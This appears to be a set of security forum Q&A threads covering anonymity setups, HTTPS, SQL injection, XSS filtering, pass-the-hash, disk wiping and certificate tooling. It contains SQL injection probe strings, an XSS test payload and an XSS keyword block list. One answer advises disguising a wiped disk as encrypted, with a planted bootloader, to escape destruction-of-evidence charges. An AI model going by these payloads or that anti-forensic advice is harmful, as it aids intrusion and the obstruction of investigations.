How anonymous is my setup? my friend and I are trying to make the most anonymous setup for a computer to do things across the internet without being known the location from which it came.

Our setup is as follows:

A windows machine, with linux running in virtualbox, with a spoofed mac address using tor to do internet things.

Will this setup provide anonymity on the internet?

Is any of it redundant, or useless?

What could we do better?

Tor does not always protect your ip fully when you need to interact with the end node. You can check your efforts with online checks like this.

What has worked for me on every check I've tried is JanusVM. It runs as a VM, which you use as a proxy for your hardened browser VM. Janus uses Tor, squid, dns-proxy-tor, and privoxy to cover your ip. It is very simple and easy to setup.

I use VirtualBox's 'Seamless mode' so that my browser (in a guest VM) looks and acts like a local app on the host. Very convenient as long as you still remember which window is in the protected environment. :)


Can a cloned page have HTTPS certificates? Imagine that a hacker is cloning Twitter or Facebook. The attacker uses his own website, but it is going to be HTTP, right? So can he have the certificates that ensure that his website is "secure" showing the green confirmation before the url in the browser?

...  have the certificates that ensure that his website is "secure" showing the green confirmation before the url in the browser?

It is still a common misconception that certificates ensure that a website is "secure".
Certificates and use of HTTPS do not say anything about the inherent security of a website. What they do instead is to protect the communication between the client (browser) and the server (website) against sniffing or manipulation by an attacker. Use of certificates also makes sure that the website displayed is actually the one which is shown in the URL bar.
But it does not make sure that that it is actually the site you believe it is or the site you've intended to visit. It does not protect against cloned sites or look-alike sites or similar looking domain names. Certificate issuers (CA) don't control what content is served on the domain, i.e. it is easy to get a certificate for sites serving malware, look-alike sites asking for your password (i.e. credential phishing) etc.
Certificates and HTTPS protect against insecure networks, like open WiFi hotspots or malicious internet providers. They don't protect against malicious websites though.


How to "Scan for hosts" only using ettercap CLI? I've been looking for a command to "Scan for hosts" in the terminal with ettercap CLI.

How can I scan the local subnet from the ettercap terminal?

The graphical ettercap has the options (see below):

In curses mode, ettercap -C, use Menu > "Unified sniffing" first. Then Menu > Hosts > "Scan for hosts"

In Text mode, ettercap -T, you can use the  -n, --netmask <NETMASK> option for the network mask.


Using a transaction as mitigation against SQL injection Considering a generic stored procedure that is subject to SQL injection:

CREATE PROC usp_badproc
    @sql NVARCHAR(8000)
AS BEGIN
    EXEC(@sql)
END

and operating under the assumptions that

the proc only reads data,
the operating context has access to other resources and methods, including UPDATE and DELETE on sensitive tables (e.g. dbo.Users or dbo.CreditCards),
the proc's signature cannot be changed
the proc's executing context cannot be changed

what are the pros and cons to enhancing this procedure as:

CREATE PROC usp_badproc
    @sql NVARCHAR(8000)
AS BEGIN
    BEGIN TRANSACTION
    EXEC(@sql)
    ROLLBACK TRANSACTION
END

That is, wrapping the execution in a transaction and always rolling it back.

I understand that in essence you are just pushing the problem down a level (e.g. the @sql now has to end with COMMIT TRANSACTION), but does it add any benefit, even from a reactive/logging perspective? Can the transaction be marked in a way to never be recoverable?

Just to be clear, I would never suggest this as a fix to a SQL injection risk, I'm just trying to understand it further and the layers involved.

Sql Server has a log of all transactions so at least you could possibly have a record of what was run (unless the attacker also erased the transaction log). You may get an error message somewhere and as long as that log isn't erased you'll have that as well. Then again, you may have Sql Server set to implicit transactions so each statement gets its own transaction and gets logged anyway.

As far as cons, I don't think that this really accomplishes anything so your issue isn't fixed. More work and obfuscating, hiding, or creating the illusion of fixing a security issue is a pretty big con. Rolling back the transaction only matters until the attacker figures out that they just have to add COMMIT TRANSACTION to the end of their injection. At least when I tried it using the most obvious approach, I got an error when it hit ROLLBACK TRANSACTION so then it will jump to whatever error handling you have and who knows what it might skip if this was just one part of a process. A better crafted injection wouldn't generate an error, though.

Overall, I'm glad that this is just academic interest because I don't think you gain anything. You don't lose terribly much either but why go through the effort if you're not fixing the issue?


Best Approach for removing XSS Vulnerability I have been developing a Webobjects application, and I found that my application is vulnerable to XSS through URL, but not when malicious input like <script>alert("hi")</script> is input to form fields.

So, i have currently employed technique of URL rewriting in apache web server to solve this issue.

I have handled following javascript keywords :
src onload onmouseover onkeypress onfocus alert

I dont know enough about XSS.

I want to know from experts here, is this is the right approach to solve XSS when the input to form fields is not showing vulnerability ?

Please suggest.

There is a good resource from OWASP: XSS (Cross Site Scripting) Prevention Cheat Sheet

Basically you should validate all input data using white list approach (define valid patterns not invalid patterns as you are trying to do at this moment) AND you should encode all data on output using encoding scheme correct for given context (HTML, JavaScript, HTML attribute).

Correct encoding is quite difficult and you shouldn't be doing it by yourself. Instead you should use library like Microsoft AntiXSS Library or OWASP ESAPI.

You can also use ModSecurity (or other WAF) with correct detection rules (i.e. ModSecurity Core Rule Set), but be aware that this should not be the only solution you use.


Why linux is used for security? As a course of my School, I am starting to study Information Security. And I have to use GNU Linux OS using VMWare. My questions are:

Why I need to use a linux distro other than Windows OS?
On linux, l have to try some Bash shell commands, Can shell commands be executed on Window 7 OS?

I am starting to study Information Security. Why do I need to use a linux distro other than Windows OS?

The only person who knows the real answer is your course instructor, so any answer to this is going to be opinion.
Market Share
According to wikepedia, combined total of all devices in the world:

Device shipments, 2015
Android   54.16%
iOS/macOS 12.37%
Windows 11.79%
Other 21.66%
* OS Device Shipments, Gartner[20]

Assuming that's representative of devices shipped since 2015, then 11.8% of the devices in the world are running Windows, wile the other 88% are running some sort of linux or unix. Remember that this isn't just computers, but phones, servers, routers, wifi-enabled toothbrushes and bathroom scales, etc. Those are all things that require security.
For servers it's even more dramatic (from the same wikipedia page)

W3Cook survey, May 2015
Linux Servers:    96.6%
Windows Servers: 1.7%
* W3Cook checks the top one million web servers monthly, taken from the Alexa ranking, using HTTP headers, DNS records, and WHOIS data, among other sources.

You can't protect what you don't know
From the way you word your question, I'm guessing you have only been exposed to Windows in your life.
Being able to protect something requires having deep knowledge of how that thing works. How could you hope to have a successful career in security if you're only familiar with 11.8% (or 1.7%) of the technology being used?
Since the internet fundamentally runs on Linux, good for your instructor for introducing you to something new.


Change NTLM hash in memory on the lock screen? Is there a way to change the ntlm hash in memory to bypass Windows login?
For example, I have the NTLM hash of a Windows machine and I have physical access. Is possible to write the NTLM hash in memory and bypass the login or the unique way is crack the hash for get the password in plain text?

If you have the NT hash, you can just use it in a pass-the-hash attack to gain access to the system. I'm not aware of a way to execute this from a login screen.

If you've got physical access, you can always just boot to a live CD and reset the password that way.


Protect network from IP Camera I am looking to add an IP camera to a home network. The camera connects to the home network via an ethernet cable, but it also has wifi capabilities.

The manufacturer is a small one, so no good reputation.

How can I protect the network against the possibility that this camera could spy on the other activity of the network (trojan)?

In particular, this other activity to be secured will be computers using this home network to connect to https websites.

Should I (can I?) create a separate sub network for this camera?

Depends on your hardware. But most actual routers allow the use of virtual networks (vlan). That should be sufficient for a home network.


DMZ-Hosting for VOIP services...To Use or Not To Use? I have VOIP service from PhonePower...

They give their users an MTA device to connect to their network, however their instructions are that the user must turn on DMZ-Hosting for this device, to allow their service to work.

The problem I see with that is the warning message associated with this setting in my router's firmware. The following warning is given:

[ WARNING! Using a computer in DMZ mode opens the computer to outside intrusion, thus creating a security risk. ]

Additionally, my VOIP service with PhonePower seems to work fine right now without turning DMZ-Hosting on to recognize the mac-address of the MTA PhonePower device. So my logical conclusion thus far is---why should I turn on DMZ-Hosting, if my VOIP service seems to work fine without it?

When I pressed PhonePower for an explanation, they acknowledged that my overall security would be lowered with the router and their device if DMZ-Hosting is turned on and said its up to me how I choose to configure it, however they still maintained that it really should be on for their service to work. I responded by saying, "So, could that mean that even though my VOIP works now with DMZ off, that it might stop working again?" The response from PhonePower was, "Yes." I then asked if the reason for this is because my VOIP uses a separate network, to which they said yes.

Given the implicit warning I encountered in my router's firmware configuration, it still makes me scratch my head that a feature like DMZ would be required, especially since it would lower my overall security, as PhonePower indeed confirmed for me.

If I run into further problems down the road yet I still want to keep my VOIP service active, I guess I would have no choice but to turn DMZ-Hosting back on as suggested by PhonePower, but if my service works right now without it, I feel like it just makes more sense to keep DMZ off.

Any technical and objective insight into this matter would be greatly appreciated...

No. Its not a security issue itself since the DMZ hosting would only apply to the VOIP device, not your computer - eg you enter the IP of the device to open all ports for. However, if the VOIP device would have security vulnerabilitys, the VOIP device could be used as a hop to reach your computers.

A better idea is to ask your VOIP provider which incoming ports the service provider uses, and manually opening these in port forward.

The reason they ask you to DMZ it is to keep it simple for newbies.

The reason the service works, is because outgoing calls use outgoing traffic. Also the device "probe" the VOIP service with regular intervals. This keeps the UDP ports open so incoming calls work. But sometimes, it can happen that the Connection in the state table would timeout, and then you wouldn't be able to receive calls until the next probe or the next time you make a outgoing call.

NAT devices can also cause "one-way" audio problems with VOIP, where one party does hear the other party, but the other party does not hear one party.

Keep DMZ closed, but if you get reports on people not being able to call you (eg friends that say that it was difficult to reach you) or one-way audio problems, they hear you but you dont hear them, or the opposite, you should manually open the indivual ports the VOIP service uses instead.


User "home directory" on iPhone, Android, Windows mobiles and Blackberry Is anyone aware of any mobile (iPhone, Android, Windows mobiles and Blackberry) Operating System that support multi users? I am not aware but I thought it is worth double checking. Off course, in case yes, please tell me in case how many user groups do they allow and whether they are daemons or human users.
If I need to store information that are confidential or not to be shared among other users, whether in the same application or on the mobile in case different user groups are allowed. Please, can you list for the me the safest way to store these data on an:

iPhone,
Android
Windows mobiles and
Blackberry

One thing I can think of for instance is a home directory specific to a the user logged in. I know that Android might be different.
Any additional details is very much appreciated.

On Android, the notion of a home directory is not apparent to the user, and it is designed for only one user.

The userid and groupid mechanisms are used to enhance application security.  Each application has its own userid, and it is the job of the application to appropriately secure the data, which may be in the cloud or stored locally.

The model is intended to work even for applications which need to protect the data from the user.  Think of a medical records application, which tries to prevent inappropriate use of the data.

Android makes it pretty easy to store data pretty securely, avoiding many of the pitfalls of  traditional desktop systems.  Android also makes it pretty easy to authenticate and share data with other applications.  See details at:

Security and Permissions | Android Developers
How Android Security Stacks Up - Technology Review
Root access vs secure apps and the consensual security model - post by Nick Kralevich


How can Apple claim that a backup of an iPhone made to iCloud is “hackable”/accessible but not the data on the device itself? So I’ve been reading up on the 2015 San Bernardino attack and the legal/tech issues surrounding the FBI’s request that Apple unlocks the shooter’s phone. This is how I understand the issue:

The FBI wants Apple to “hack” the phone to prevent the device from erasing after 10 failed attempts. They basically want to perform a brute force attack on the phone.
But according to Apple, “in an attempt to gain access to some information in the hours after the attack, was able to reset the password remotely, but that had the effect of eliminating the possibility of an auto-backup.” And then clearly states, “Apple could have recovered information from the iPhone had the iCloud password not been reset, the company said.”

Wait a second… The iPhone itself is encrypted and the data cannot be accessed without a correct PIN code, right? But the iCloud backups are somehow not encrypted and accessible in the clear on Apple’s servers? According to this accepted answer on Ask Different it seems that some backed up data is in the clear, but the bulk of it is encrypted on the server side.

Now I’m confused: Can Apple easily decrypt an iCloud backup of your phone data or not? The implication here is your physical Apple device is truly encrypted in a rock solid way, but on Apple’s servers? Not so much. What’s the deal?

According to this other answer to the same thread on Ask Different, it seems that all that is required for an iCloud backup to be accessed is the will and desire of an Apple employee or someone who has breached their system; bold emphasis is mine:

  iCloud uses server-side encryption, not client-side encryption. When
  sending data to the cloud, it gets encrypted on your machine with SSL,
  then decrypted at the iCloud servers, then re-encrypted using an
  encryption key that Apple knows for storage. This means that Apple
  employees have the technical ability to read your data. There may be
  procedural, technical, or policy controls to make this unlikely, but
  the capability is there. That means that if Apple's cloud ever gets
  compromised by a sophisticated attacker, the attacker could
  potentially access all your data. In other words, any data breach or
  accident on Apple's part could potentially expose your data.

Past that, Apple themselves say as much in their official Legal Process Guidelines:

  The following information may be available from iCloud:

  i. Subscriber Information

  When a customer sets up an iCloud account, basic subscriber information such as name, physical address, email address, and
  telephone number may be provided to Apple. Additionally, information
  regarding iCloud feature connections may also be available. iCloud
  subscriber information and connection logs with IP addresses can be
  obtained with a subpoena or greater legal process. Connection logs are
  retained up to 30 days.

  ii. Mail Logs

  Mail logs include records of incoming and outgoing communications such
  as time, date, sender email addresses, and recipient email addresses.
  Mail logs may be obtained with a court order under 18 U.S.C. § 2703(d) or a court order with an equivalent legal standard or a search
  warrant. iCloud mail logs are retained up to 60 days.

  iii. Email Content

  iCloud only stores the email a subscriber has elected to maintain in
  the account while the subscriber’s account remains active. Apple does
  not retain deleted content once it is cleared from Apple’s servers.
  Apple is unable to provide deleted content. Available email content may be provided in response to a search warrant issued upon a showing
  of probable cause.

  iv. Other iCloud Content. Photo Stream, Docs, Contacts, Calendars, Bookmarks, iOS Device Backups

  iCloud only stores content for the services that the subscriber has
  elected to maintain in the account while the subscriber’s account
  remains active. Apple does not retain deleted content once it is
  cleared from Apple’s servers. iCloud content may include stored
  photos, documents, contacts, calendars, bookmarks and iOS device
  backups. iOS device backups may include photos and videos in the
  users’ camera roll, device settings, app data, iMessage, SMS, and MMS
  messages and voicemail. iCloud content may be provided in response
  to a search warrant issued upon a showing of probable cause.

So at the end of the day, an encrypted iDevice (iPhone, iPad, iPod Touch, etc…) is an encrypted iDevice. But most any iDevice  data backed up to Apple’s iCloud is accessible by Apple staff. As to whether that data is shared or viewed is a concept protected by procedures, processes and legal agreements only; technology doesn’t really play much role in protecting that data.


Cases where DBAN has won Are there any real life cases where software such as DBAN (to securely erase disks) has beaten government/law enforcement agencies?

I found this online which lists each time encryption has beaten investigators, but nothing for secure deletion.

  http://scienceblogs.de/klausis-krypto-kolumne/when-encryption-baffles-the-police-a-collection-of-cases/

The reason DBAN or such erasure software, wont beat the investigators, is that when they find out a drive is erased (zero:ed), this will count as destruction of evidence, which is punishable.

Thus, its enough that the investigators prove that the drive has been intentionally erased. It depends on country, but in most countries that employ the "forbidden fruit" scheme, do also make it illegal to destroy evidence, even "own" evidence.
In countries that employ a "free evidence usage" policy in court, does normally make it legal for the suspect to erase his own evidence (its up to the police to catch the evidence before it gets erased), to balance everything out, but in those countries, erased disk is same as someone putting a letter in the fireplace, eg something that usually don't make it out to the headlines.

And they can find out if a device is used after it has been taken out of fresh packaging, as there is a log in the disk, normally called SMART, that will log different charactericts of the disk, as power on hours and other similiar metadata, thus a investigator can see roughtly how much a disk has been used, which means a investigator can see if a disk is just zeroes because its unpacked but not yet used, and a disk that is zeroes because it has been intentionally erased.

And even if that log is erased via firmware commands (may not always be possible), its possible for a investigator to look at the wear of the flash chip where SMART data is stored, and see that the content of the flash chip is altered, as a unused disk will have a zero SMART table with a zero wear.

Thus, a encryption means that the investigator is stuck, as its the same as hiding evidence, which isn't illegal. In the real life world, hiding evidence could be taking that murder knife and putting under the floor planks. Even if the investigators wont find it, they cant convict you. However, if you put that knife in the fireplace, the investigators can use the burnt out knife as evidence that you did destroy evidence, and thus you will get punishment anyways.

Forgetting a password don't count as destroying evidence.

So actually, erasing the disk by encrypting it with a random password, is safer, than erasing it with DBAN, when it comes to legal issues. Same with DBANing a disk, and NOT do a final zeroization. But a completely random disk can also be taken as destroyed evidence, why it can be a good idea to put a real truecrypt boot loader or boot loader from some other encryption software, to give a plausible reason to why data is random, when you have erased it.


How to test for SQL injection query When testing for SQL injection in an URL like this: example.com/videos.php?id='34, we use character sequences like:

'
"
""""
/*/
-' --

And many others...

How could you test links like these for SQL injection:

example.com/articles/another-perspective-on-data
example.com/category/tutorials/cooking/

How you plan to use the information is the greater tell of how to handle this. If you're attempting to ensure the nobody is using and SQL injection attack against you, the answer isn't to try and detect it with blacklists. The proper approach is to make use of features such as bind variables.

If your goal is to provide a warning system for somebody poking around at things they shouldn't, detecting SQL keywords such as "and, or, select, delete, where, update, drop" and the like can help. The problem with blacklisting ( SQL query sanitation (black list) ) is that two-fold: you will probably get false positives and you will probably miss well-obfuscated attacks. While it can give you an edge in attack detection, I've written queries that get beyond these filters and I've become very frustrated when normal sentences are blocked when filling in forms.


Disclosing security vulnerabilities to paying customers first Particular case

An (unnamed) vendor of an open source product also sells commercial licenses and support. One of the advantages of the commercial deal is that you get notified of security vulnerabilities immediately (even before an official release has been made), and access to a pre-release security build including the fixes. It also includes access to builds of older versions with security fixes applied.
In other words, users without such commercial support only get notified after a release has been made, when paying customers have already known about the vulnerability for some time. Although they have access to the original (vulnerable) versions, they are not given access to the same (pre-release or backported) security builds (but, it's open source, so they can access the source code and build it themselves).

I have some serious doubts about this approach. To me it seems to expose a large part of the user base to unnecessary risk.

General question

Is this kind of disclosure applied often; are there more (open source) companies that provide vulnerability details to a broad group of commercial clients in advance? Or is providing this information to all affected parties simultaneously a must and
would this generally be considered irresponsible behaviour?

It's easy to say that this behaviour is bad. But I think it is worth to have a more detailed look.

Security issues are quite a difficult situation for many companies, that have decided to open source (some of) their programs, while keeping a commercial version. This gets worse if a fix cannot be created immediately.

Motivation for informing paying customers first

The company obviously depend on its paying customers to survive as any company does. So they need to provide some additional value to those customers.

It is likely that huge companies will be paying customers while small companies and independent persons will tend to use the free version. Those huge companies are more likely to be the target of an attack. And in case of an successful attack, it is more likely that they will be subjected to bad press coverage.

Furthermore there is a higher risk that public security warning without a fix will get attention from people with malicious intents. Just because the number of people is a couple of orders of magnitude larger.

This is especially true, if almost all serious users are paying customers. In other words: The open source version is basically a demo for the commercial one.

Motivation for issuing a combined security warning

After the company has issued a public warning, it can claim that it is no longer responsible for any damage caused afterwards. If the users did not take counter measurements such as installing the fix, it will be their own fault.

Giving information out early to paying customers may enable someone of them to use  that knowledge for evil. Depending on the legislation it might pose a legal threat to the company that it did not warn all users, although it obviously was aware of the issue.

From a user's point of view

Having talked about the motivation for the company, let's have a look at the user side. I think it is quite obvious that paying customers will appreciate this as service.

Users of the open source version are subjected to an additional risk and should therefore be very careful with using such a software in a production environment or with sensitive data.

How does the non-commercial Arianne open source project deal with security issues?

I'd like to conclude with some personal experience. Arianne is an open source project which consists of an online game framework and a 2D online role playing game called Stendhal. It is non-commercial and does not make any money at all.

There are many people out there that run Stendhal servers since it is completely open source (client, server, graphics, everything). We run one instance of Stendhal ourselves.

When we discover a security issue in Stendhal we have ended up with this process:

We share the information among the trusted core developers, we discuss it and work together on finding the root cause.
We fix the issue and commit the change to the public CVS. Other core developers review the fix and test it themselves.
We take the fix live on our server.
We prepare a bugfix release based on the latest stable version. In the meantime other core developers do some more testing. Normal players just continue playing and therefore implicitly test for side effects.
We do a minor release of the last stable version together with a source code patch and post an announcement describing the issue.

The whole process takes about 1 to 2 hours.

We do not release bug fixes for older versions because we pay a lot of attention to make updates between versions very easy to install. The only reason someone cannot jump to the latest version is that he did modification to the code himself. For those people we provide the source code patch.

I can see that someone may argue that updating our own server first is evil, as is committing the fix to the public CVS before the announcement. But this is the most effective way to get a high quality fix out in the shortest time possible. We do need the short test on a live server because people really expect that they can install security updates blindly without having to fear side effects.


Is this a threat if website to connect to is in clear in the TLS SNI extension or when using an HTTP proxy? As per my understanding, after the TCP three-way handshake we send a TLS ClientHello which has the SNI field in clear text and anyone can see which website I am trying to connect to.

Isn't it a threat that anyone can see my secure website?

The second issue is in case of proxy in between we send the HTTP connect packet, in which we inform the proxy that to which server we need to connect now, again we are clearly mentioning which website to connect.

Also, why there is a need of HTTP connect packet when we have the SNI field from where proxy can find out where it needs to connect?

Isn't it a threat that anyone can see my secure website?

TLS was designed to protect the application payload. It was not designed to protect the meta information of the connection, i.e. the domain name, source and target IP address, number of bytes transmitted, timing of traffic etc. There can definitely be a privacy risk when somebody is getting these information, but to protect the privacy was not a design goal of TLS. The goal was instead to protect the application data against sniffing and manipulation.

The target domain name in the ClientHello (i.e. SNI) is needed by the server to find out which certificate to provide in the case the multiple domains and certificates are provided on the same IP address. It is similar to the Host header of HTTP, only that it is available before the encryption starts so that the proper certificate can be provided inside the TLS handshake.

The domain name is not only visible in the ClientHello. Until TLS 1.2 the certificates (containing the domain name as subject or subject alternative names) where also sent by the server in clear - this was changed with TLS 1.3. There is also a way to encrypt SNI - ESNI is supported by several clients and servers already. But the same information also can be determined by associating DNS requests with later TLS connection to a specific IP address - unless DNS is protected to using DNS over HTTPS or similar technologies.

  ... why there is a need of HTTP connect packet when we have the SNI field from where proxy can find out where it needs to connect?

The ClientHello is only send after the tunnel to the server via the proxy is established. To establish the tunnel the proxy needs to know the IP address of the server. In theory the client could put the target IP address in the CONNECT request instead of the domain name. But a proxy is often used in setups where the internal client has no access to the external DNS at all, which means that the client might not be able to provide the server IP address and that the proxy must resolve the domain name.

In theory a proxy can be configured in a transparent mode where the client tries to connect directly to the final server (i.e. no CONNECT request) and due to some firewall magic these packets get redirected to the proxy which then figures out the real target by analyzing the ClientHello. And this kind of setup is not uncommon in practice. But such redirects does not work that reliable if HTTPS is used on unusual ports (i.e. not 443) since the firewall would need to first detect that HTTPS is used in the first place (using Deep Packet Inspection) in order to properly redirect. And these such DPI analysis is more expensive to do and the heuristics can also go wrong. Also, the proxy will not be able to get the server domain once ESNI is used, which means that the client already needs to resolve the domain name to the servers IP address which is a problem in restrictive environments where no outside DNS is available inside.

Apart from that, an explicit proxy allows for proxy authentication with credentials. With an implicit transparent proxy authentication can only be done by source IP, i.e. there need to be some previously established association between source IP and username which is not possible in environments where multiple users come from the same source IP (like with windows terminal server or other thin clients).


Burp not intercepting the intended traffic I'm trying to test an authentication process using NFC reader as a medium. The scenario is like this, I need to go to a certain website but in order to get there, I need to verify myself using my ID which I need to scan through the NFC reader which will then authenticate me and eventually leads going to the place I want to be.

My problem is, I tried burp for intercepting the process, but it seems the burp doesn't catch the traffic that was passing through. The reader is directly connected to my laptop and the web app when I press enter a popup comes out where I think the authentication is being done, but that popup window doesn't have options or anything so I supposed it's using the same process as the normal browser.

Any insights/suggestion on how to do this stuff properly would be appreciated.

I'm assuming you're NFC reader is a peripheral device?

Burp can be set up as a MITM but you'll need to direct any traffic from that peripheral to be aware of the Burp HTTP proxy if you want to intercept the traffic.

You'll have to review the settings for your specific device after setting up your Burp proxy.


How do I mitigate a MITM on https? I am trying to view a https site (which worked perfectly fine till yesterday) and Chrome is showing me that the site's security certificate is not trusted.

I am on a home network. How can I know if the certificate is a problem or my network ?

If the Web browsers states that the certificate is not to be trusted, then, basically, you cannot trust it. If there was a simple method to validate whether a certificate is good or not, besides certificate validation, then browsers would apply it.

The above is not entirely true: there is one method to validate a certificate, that browsers cannot do. You can phone the organization which owns the expected HTTPS server; here, apparently, the Bureau of Consular Affairs, from the US Department of State. Ask to talk to a sysadmin, and have him spell out, over the phone, the SHA-1 fingerprint of his certificate (40 hexadecimal characters). Compare with what your browser shows you (it is at the end of the "certificate details"). If the values match (exactly), then the certificate is genuine and you may proceed. This validation method, of course, assumes that a phone call is trustworthy and won't be intercepted (in particular, how you obtain the correct phone number might be subject to malicious alterations), and also that a US administrative bureau will have someone to answer the phone and will accept to forward your call to a sysadmin who has time to answer, and a clue about what SSL and certificates can be (that's his job, but being assigned to a task has never guaranteed competence).

Even if you can make sure that the certificate is real, then this begs the question of why the certificate was declared incorrect by the browser. This can be the consequence of a number of possible mishaps, including a failure to renew a certificate on time, or even a bug in the browser code.


WebCrypto algorithms and differences with other crypto libraries I was looking at the WebCrypto crypto libraries coming form the W3C. Looks like only a few cryptosystems are supported, including AES-CBC, AES-CTR, AES-GCM, and RSA-OAEP.

https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto/encrypt

Does that mean we're out of luck if we want a different cryptosystem? I'm working on homomorphic encryption and want to use Pallier and order preserving encryption.

A related question is why the new webcrypto API is better than using an existing crypto API such as the Stanford Crypto Library? Stanford Crypto library exposes more useful primitives that makes it possible to implement arbitrary cryptosystems like this Pallier implementation https://mhe.github.io/jspaillier/

I was looking at the WebCrypto crypto libraries coming form the W3C. Looks like only a few cryptosystems are supported, including AES-CBC, AES-CTR, AES-GCM, and RSA-OAEP.

First, it is important to understand why we have the Web Crypto API standard at all.  It is not designed to be an all-encompassing crypto library for any possible purpose, but specifically to create a secure, inter-operable crypto API to handle a specific set of use cases, so that application developers can be reasonably confident that secure implementations of the specified APIs will be available across multiple user agents.

  Does that mean we're out of luck if we want a different cryptosystem?

The Web Crypto API is still under development, so until it's finalized, there's no guarantee.  However, I would say that at this point it is more likely for systems and use cases to be removed due to a lack of inter-operable implementations, than added.

  A related question is why the new webcrypto API is better than using an existing crypto API such as the Stanford Crypto Library?

It's better because it is built into the user agent.  This means that it can't be tampered with by a MitM, an application can't deliver different versions to different users, and so forth.  This means that it is much harder to subvert, and that you only need security guarantees from the user agent, not from both the user agent and the crypto library.  That said, if it doesn't do what you need, then it doesn't do what you need, and your only option is to look at other options.


Which public key encryption method should I choose to sign? I need to sign a basic string of information (e.g. seq number:host:port:id:TTL), which is about 50 characters.

I want to use public key encryption for the signing of this, so that any other party can verify this information is actually legit. But an important requirement is that the signature is as small as possible, since it would create additional performance problems if the string is 2000+ bits large. I looked at signing with RSA, but a safe bit size is considered to be 2048 or more, which also means that my signatures will become bigger than 2000 bits.

What other options do I have for signing with OpenSSL? And what key size would be acceptable for that encryption scheme? I've looked into DSA, but there seem to be some controversy about DSA (e.g. 1024 DSA keys can be cracked).

I've used secp521r1 (elliptic curve) public key crypto, and using a key of 521 bits yields good results for the signature size.


Public Key → Certificate? Is it possible to convert a public key to a certificate using the public key only?

I've seen the following, which takes a private key to form a cert request, which can then be self-signed:

openssl req -new -key privkey.pem -out cert.csr

But, given a public key only (such as in SSH, OpenSSL, PEM, PKCS8 format), how do I make a self-signed certificate (of, say, PKCS12 format) containing the public key?

thanks

Basically, I want to take my friend's public PGP key, convert it to a cert, and use that cert in my email program for encrypting emails with him without my having to use Enigma mail in Thunderbird.

First of all, what you are attempting to do will not work. PGP and S/MIME are fundamentally incompatible. Putting your friend's PGP public key into an x.509 certificate will not allow you to use S/MIME tools to communicate with him. Either you need to both use S/MIME, or both use PGP. You cannot mix.

As far as whether or not this can be done: Certificates have to be signed by someone. So if you have a public key, you can embed that into a certificate that gets signed by someone else, but you can't create a self-signed certificate without the private key.

But here's the catch: user-oriented tools (such a openssl command line) will only create certificates either (a) self-signed using a private key, or (b) by signing a request.

And signing requests are themselves signed using the key they embed. The idea is that if you're going to create a certificate for someone, you want to verify that they actually have the key you're certifying.

But... when you get down to the internals, such as using the openSSL API functions, you're allowed to do pretty much whatever you want. You can create unsigned requests and certificates[1] (which may not be honored anywhere) and you can create certificates using only the public key and some attributes.

You may want to look at using either the openssl C api directly, or perhaps one of the fine libraries built for other languages.

Here's an example in Ruby: This example provided as an edit by grawity. I have not tested this code.

#!/usr/bin/env ruby
require 'openssl'

pkey_data = File.read("id_rsa")
pkey_password = ""
subject = "/O=Honest Achmed's Used Cars and Certificates/OU=Self-made/CN=Geremia's cert"
expiry_years = 1

# Fill basic v1 fields
cert = OpenSSL::X509::Certificate.new
cert.version = 2  # for X.509 v3
cert.serial = 1
cert.subject = OpenSSL::X509::Name.parse(subject)
cert.issuer = cert.subject
cert.not_before = Time.now
cert.not_after = Time.now + (expiry_years * 365 * 86400)

# Add v3 extensions
extf = OpenSSL::X509::ExtensionFactory.new
extf.subject_certificate = cert
extf.issuer_certificate = cert
cert.extensions = [
    # basicConstraints is marked as 'critical' here
    extf.create_extension("basicConstraints", "CA:FALSE", true),
    extf.create_extension("subjectKeyIdentifier", "hash"),
    # 'copy' means needed information will be taken from subjectKeyIdentifier
    extf.create_extension("authorityKeyIdentifier",
        "keyid:copy, issuer:copy"),
    extf.create_extension("keyUsage",
        "digitalSignature, keyEncipherment, nonRepudiation"),
    extf.create_extension("extendedKeyUsage",
        "clientAuth, serverAuth, emailProtection"),
]

# Add public key and self-sign – if you omit the cert.sign()
# call, you WILL have an unsigned certificate made just with the public key.
pkey = OpenSSL::PKey::RSA.new(pkey_data, pkey_password)
cert.public_key = pkey
cert.sign(pkey, OpenSSL::Digest::SHA1.new)

# Output in PEM format (aka base64-encoded DER)
puts cert.to_pem

[1] About a decade ago I created an OpenSSL interop library for .NET which did these things by accident. Luckily nobody ever saw this project but me.


Encrypting multiple blocks with an asymmetric scheme I have a general question how asymmetric schemes are usually implemented.

Typically, there is a parameter in an asymmetric scheme which limits the message length. For example the modulus in RSA.

I know that asymmetric encryption is usually used to encrypt a symmetric key and the actual message is encrypted with the latter.

But how are asymmetric schemes usually implemented? Only allowing small messages up to the limiting parameter (explicitly having symmetric keys in mind), or allowing arbitrary long messages (which would need some mode of operation, etc.)

Asymmetric encryption is indeed usually used as part of hybrid encryption: a random symmetric key K is generated by the sender; K is encrypted with the public key of the recipient, and the bulk of the data is encrypted with a symmetric encryption algorithm using K as key. This is basically using asymmetric encryption as a key exchange algorithm.

In fact this is not usually done that way; it is always done that way. There are several good reasons for that, namely that:

We do not really know how to do "pure" asymmetric encryption securely. For symmetric encryption we have a lot of theory and practice on modes of operation; but for something like RSA we are still in the dark in that respect.
Asymmetric encryption incurs size expansion; the encrypted text is necessarily larger than the source message ("necessarily" because of randomization, which is needed in order to defeat exhaustive search on the plaintext data). If asymmetric encryption is used throughout, then the size overhead for a big message becomes non-negligible. A contrario, with hybrid encryption the overhead is fixed even if you encrypt gigabytes of data.
Asymmetric encryption and decryption is computationally more expensive than symmetric encryption.

These reasons feed each other: e.g. modes of operation for asymmetric encryption are not studied because it would be expensive anyway, for no clear gain.

A consequence is that a normal RSA implementation will accept to encrypt messages only up to the inherent size limit of the algorithm, and will not try to "split" the message into individually encrypted blocks or anything like that.

The only cases where asymmetric encryption is used without hybrid encryption are:

Specialized cases where the data to encrypt is always short.
Advanced protocols in which the sender must be able to prove some algebraic property about that which is encrypted, and/or homomorphic encryption (this is typical of electronic vote protocols). In these cases, the messages to encrypt are not just any sequence of bits; they have a lot of mathematical structure, and will again be short.


Man-in-the-middle attack by impersonating a hidden SSID This question deals with whether hiding an SSID makes a given wifi network more or less secure (short answer: neither).  On the other hand, I think that a client that saves a connection to a network with a hidden SSID is opening itself up to a future man-in-the-middle attack.
Here's my scenario:

Alice connects to a hidden wifi network named 'Bob.'  She saves the connection and sets it to connect automatically in the future.
